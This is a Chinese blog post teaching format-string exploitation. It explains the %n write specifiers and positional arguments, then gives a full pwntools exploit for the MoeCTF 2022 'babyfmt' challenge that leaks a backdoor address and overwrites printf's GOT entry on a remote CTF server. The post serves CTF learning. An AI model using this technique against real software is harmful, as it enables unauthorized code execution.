Fmtstr

runwu2204 Lv6

主要利用printf("用户输入")达成任意地址读写

写入主要使用 %n占位符(将该占位符之前的字符数输出到对应地址)

占位符 字节数
%lln 8
%n 4
%hn 2
%hhn 1

再结合%数字$占位符

例如

%2$s 指的就是第二个参数当作s输出

结合这两个,如果我要写入一个’a’(0x61)到对应地址0x12345678,假设此时我的字符串在偏移3

就可以用"\x78\x56\x34\x12%93c%3$n"payload不唯一,可学习下pwntools中FmtStr的输出

Example

[MoeCTF 2022]babyfmt | NSSCTF

主要逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char *s; // [esp+18h] [ebp-110h]
char buf[256]; // [esp+1Ch] [ebp-10Ch] BYREF
unsigned int v5; // [esp+11Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
s = (char *)malloc(0x10u);
sprintf(s, "%p", backdoor);
printf("gift: %p\n", s);
while ( 1 )
{
memset(buf, 0, sizeof(buf));
read(0, buf, 0xFFu);
printf(buf);
}
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import*
import re
from ctypes import*
elf=ELF(r"/home/wrwrw/vscode/pwn/fmtstr/pwn")
debug=False
if debug==True:
p=process(r'/home/wrwrw/vscode/pwn/fmtstr/pwn')
else:
p=remote("node5.anna.nssctf.cn" ,24923 )

context(os='linux',arch='i386',log_level='debug',terminal='bash',endian = "little")#需要设定对应的架构和端序才能正常使用fmtstr
def fmtstr_read(offset,addr,type):
return p32(addr)+(f'%{offset}${type}').encode() if context.bits==32 else p64(addr)+(f'%{offset}${type}').encode()
def exec_fmt(payload):#用于给FmtStr测试对应的我们input字符串的offset(相对于printf函数体内的栈顶)
p.sendline(payload)#这是最简单的情况,其他的可能会结合判断语句什么的可根据这个适当修改
info = p.recv()
return info#FmtStr只需要获得对应输入的printf输出即可


if __name__=='__main__':

gift_addr=int(re.search(r"gift: 0x([0-9a-f]*)",p.recvline().decode().strip()).group(1),16)#获取对应backdoor地址字符串的地址
print(hex(gift_addr))
printf_got=elf.got["printf"]
fmt=FmtStr(exec_fmt)
p.send(fmtstr_read(fmt.offset,gift_addr,'s'))#获取对应backdoor地址
backdoor_addr=int(p.recv()[4:].decode(),16)
payload=fmtstr_payload(fmt.offset,{printf_got:backdoor_addr})#将printf_got地址上写入backdoor_addr地址(大小取决于架构)
print(payload)
p.send(payload)
p.interactive()
  • 标题: Fmtstr
  • 作者: runwu2204
  • 创建于 : 2024-06-09 23:36:36
  • 更新于 : 2024-06-10 02:57:15
  • 链接: https://runwu2204.github.io/2024/06/09/Pwn/linux/Fmtstr/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
Fmtstr